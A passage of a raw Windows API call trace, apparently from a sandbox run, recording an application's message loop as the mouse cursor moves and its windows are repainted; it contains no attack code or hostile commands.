lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.035] GetCurrentProcessId () returned 0x8d0 [0258.036] GetParent (hWnd=0x10116) returned 0x10114 [0258.036] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.036] GetCurrentProcessId () returned 0x8d0 [0258.036] GetParent (hWnd=0x10114) returned 0x20082 [0258.036] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.036] GetCurrentProcessId () returned 0x8d0 [0258.036] GetParent (hWnd=0x20082) returned 0x0 [0258.036] GetCapture () returned 0x0 [0258.036] WaitMessage () returned 1 [0258.040] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.040] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.040] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.040] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.041] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.041] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=968, y=477)) returned 1 [0258.041] WindowFromPoint (Point=0x3c8) returned 0x10116 [0258.041] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.041] GetCurrentProcessId () returned 0x8d0 [0258.041] GetParent (hWnd=0x10116) returned 0x10114 [0258.041] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.041] GetCurrentProcessId () returned 0x8d0 [0258.041] GetParent (hWnd=0x10114) returned 0x20082 [0258.041] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.041] GetCurrentProcessId () returned 0x8d0 [0258.041] GetParent (hWnd=0x20082) returned 0x0 [0258.041] GetCapture () returned 0x0 [0258.041] WaitMessage () returned 1 [0258.086] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.086] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.087] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.087] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.087] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.087] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=928, y=477)) returned 1 [0258.087] WindowFromPoint (Point=0x3a0) returned 0x10116 [0258.087] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.087] GetCurrentProcessId () returned 0x8d0 [0258.087] GetParent (hWnd=0x10116) returned 0x10114 [0258.087] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.087] GetCurrentProcessId () returned 0x8d0 [0258.087] GetParent (hWnd=0x10114) returned 0x20082 [0258.088] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.088] GetCurrentProcessId () returned 0x8d0 [0258.088] GetParent (hWnd=0x20082) returned 0x0 [0258.088] GetCapture () returned 0x0 [0258.088] WaitMessage () returned 1 [0258.102] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.102] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.102] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.102] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.103] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.103] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=908, y=477)) returned 1 [0258.103] WindowFromPoint (Point=0x38c) returned 0x10116 [0258.103] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.103] GetCurrentProcessId () returned 0x8d0 [0258.103] GetParent (hWnd=0x10116) returned 0x10114 [0258.103] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.103] GetCurrentProcessId () returned 0x8d0 [0258.103] GetParent (hWnd=0x10114) returned 0x20082 [0258.103] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0258.103] GetCurrentProcessId () returned 0x8d0 [0258.103] GetParent (hWnd=0x20082) returned 0x0 [0258.103] GetCapture () returned 0x0 [0258.103] WaitMessage () returned 1 [0258.145] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.145] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd0364) returned 0x1 [0258.146] GetCursorPos (in: lpPoint=0x18fb3c | out: lpPoint=0x18fb3c*(x=868, y=477)) returned 1 [0258.146] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fb24 | out: lpPoint=0x18fb24) returned 1 [0258.146] PtInRect (lprc=0x18fb18, pt=0x121) returned 0 [0258.146] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x70042, lParam=0x2000001) returned 0x0 [0258.146] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.146] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.146] GetCapture () returned 0x0 [0258.146] PtInRect (lprc=0x18fbec, pt=0x121) returned 0 [0258.146] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fbe0 | out: lpPoint=0x18fbe0) returned 1 [0258.146] WindowFromPoint (Point=0x364) returned 0x70042 [0258.146] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd0364) returned 0x1 [0258.146] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fbc0 | out: lpdwProcessId=0x18fbc0) returned 0x8cc [0258.146] GetCurrentProcessId () returned 0x8d0 [0258.146] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0258.146] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fbc4 | out: lpPoint=0x18fbc4) returned 1 [0258.146] PtInRect (lprc=0x18fbb8, pt=0x121) returned 0 [0258.147] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x200, wParam=0x0, lParam=0x630129) returned 0x0 [0258.147] GetKeyState (nVirtKey=18) returned 0 [0258.147] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.147] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=868, y=477)) returned 1 [0258.147] WindowFromPoint (Point=0x365) returned 0x70042 [0258.147] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1db0365) returned 0x12 [0258.147] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.147] GetCurrentProcessId () returned 0x8d0 [0258.147] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0258.147] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.147] PtInRect (lprc=0x18fd80, pt=0x122) returned 0 [0258.147] GetCapture () returned 0x0 [0258.147] WaitMessage () returned 1 [0258.149] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.149] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.149] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.149] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.152] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.152] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=868, y=477)) returned 1 [0258.152] WindowFromPoint (Point=0x364) returned 0x70042 [0258.153] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd0364) returned 0x1 [0258.153] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.153] GetCurrentProcessId () returned 0x8d0 [0258.153] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0258.153] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.153] PtInRect (lprc=0x18fd80, pt=0x121) returned 0 [0258.153] GetCapture () returned 0x0 [0258.153] WaitMessage () returned 1 [0258.161] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd035a) returned 0x1 [0258.162] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=858, y=477)) returned 1 [0258.162] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.162] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.162] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.162] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.162] GetCapture () returned 0x0 [0258.162] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.162] WindowFromPoint (Point=0x35a) returned 0xa0060 [0258.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd035a) returned 0x1 [0258.162] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.162] GetCurrentProcessId () returned 0x8d0 [0258.162] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.162] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60049) returned 0x0 [0258.163] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f808 | out: lpdwProcessId=0x18f808) returned 0x8cc [0258.163] GetCurrentProcessId () returned 0x8d0 [0258.163] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.163] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18fa78) returned 0x0 [0258.163] GetKeyState (nVirtKey=18) returned 0 [0258.163] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.163] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.163] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.163] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.163] GetClientRect (in: hWnd=0xa0060, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0258.163] FillRect (hDC=0x2a010b57, lprc=0x18f778, hbr=0xf100188) returned 1 [0258.164] IsIconic (hWnd=0x70042) returned 0 [0258.164] IsIconic (hWnd=0x70042) returned 0 [0258.164] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0258.164] FillRect (hDC=0x3c01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0258.164] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3c01069b, lParam=0x4) returned 0x0 [0258.164] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x3c01069b, lParam=0xa0060) returned 0xf100188 [0258.164] GetSysColor (nIndex=8) returned 0x0 [0258.164] SetTextColor (hdc=0x3c01069b, color=0x0) returned 0x0 [0258.164] GetSysColor (nIndex=15) returned 0xf0f0f0 [0258.164] SetBkColor (hdc=0x3c01069b, color=0xf0f0f0) returned 0xf0f0f0 [0258.164] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.164] GetCurrentProcessId () returned 0x8d0 [0258.165] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.165] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0258.165] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0258.165] GetCurrentProcessId () returned 0x8d0 [0258.165] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.165] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0258.165] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0258.165] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0258.165] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0258.166] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.166] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.166] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.167] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.167] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.167] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=858, y=477)) returned 1 [0258.167] WindowFromPoint (Point=0x357) returned 0xa0060 [0258.167] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1df0357) returned 0x1 [0258.167] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.167] GetCurrentProcessId () returned 0x8d0 [0258.167] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.167] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.167] GetCapture () returned 0x0 [0258.167] WaitMessage () returned 1 [0258.168] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.169] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0350) returned 0x1 [0258.169] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=848, y=477)) returned 1 [0258.169] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.169] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.169] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.169] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.169] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.169] GetCapture () returned 0x0 [0258.169] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.169] WindowFromPoint (Point=0x350) returned 0xa0060 [0258.169] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0350) returned 0x1 [0258.169] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.169] GetCurrentProcessId () returned 0x8d0 [0258.169] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.169] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.169] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6003f) returned 0x0 [0258.169] GetKeyState (nVirtKey=18) returned 0 [0258.169] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.169] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=848, y=477)) returned 1 [0258.170] WindowFromPoint (Point=0x353) returned 0xa0060 [0258.170] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0353) returned 0x1 [0258.170] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.170] GetCurrentProcessId () returned 0x8d0 [0258.170] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.170] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.170] GetCapture () returned 0x0 [0258.170] WaitMessage () returned 1 [0258.192] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.192] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033c) returned 0x1 [0258.192] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=828, y=477)) returned 1 [0258.193] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.193] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.193] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.193] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.193] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.193] GetCapture () returned 0x0 [0258.193] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.193] WindowFromPoint (Point=0x33c) returned 0xa0060 [0258.193] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033c) returned 0x1 [0258.193] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.193] GetCurrentProcessId () returned 0x8d0 [0258.193] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.193] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.193] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6002b) returned 0x0 [0258.193] GetKeyState (nVirtKey=18) returned 0 [0258.193] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.193] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=828, y=477)) returned 1 [0258.193] WindowFromPoint (Point=0x33c) returned 0xa0060 [0258.193] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd033c) returned 0x1 [0258.193] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.193] GetCurrentProcessId () returned 0x8d0 [0258.193] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.193] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.193] GetCapture () returned 0x0 [0258.194] WaitMessage () returned 1 [0258.205] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0332) returned 0x1 [0258.205] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=818, y=477)) returned 1 [0258.205] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.205] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.205] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.206] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.206] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.206] GetCapture () returned 0x0 [0258.206] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.206] WindowFromPoint (Point=0x332) returned 0xa0060 [0258.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd0332) returned 0x1 [0258.206] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.206] GetCurrentProcessId () returned 0x8d0 [0258.206] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.206] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x60021) returned 0x0 [0258.206] GetKeyState (nVirtKey=18) returned 0 [0258.206] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.206] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=818, y=477)) returned 1 [0258.206] WindowFromPoint (Point=0x335) returned 0xa0060 [0258.206] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1de0335) returned 0x1 [0258.206] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.206] GetCurrentProcessId () returned 0x8d0 [0258.206] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.206] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.206] GetCapture () returned 0x0 [0258.206] WaitMessage () returned 1 [0258.224] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031e) returned 0x1 [0258.225] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=798, y=477)) returned 1 [0258.225] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0258.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.225] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0xa0060, lParam=0x2000001) returned 0x0 [0258.225] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.225] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.225] GetCapture () returned 0x0 [0258.225] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0258.225] WindowFromPoint (Point=0x31e) returned 0xa0060 [0258.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031e) returned 0x1 [0258.225] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0258.225] GetCurrentProcessId () returned 0x8d0 [0258.225] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.225] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0258.226] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x200, wParam=0x0, lParam=0x6000d) returned 0x0 [0258.226] GetKeyState (nVirtKey=18) returned 0 [0258.226] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.226] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=798, y=477)) returned 1 [0258.226] WindowFromPoint (Point=0x31e) returned 0xa0060 [0258.226] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x84, wParam=0x0, lParam=0x1dd031e) returned 0x1 [0258.226] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.226] GetCurrentProcessId () returned 0x8d0 [0258.226] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0258.226] ClientToScreen (in: hWnd=0xa0060, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.226] GetCapture () returned 0x0 [0258.226] 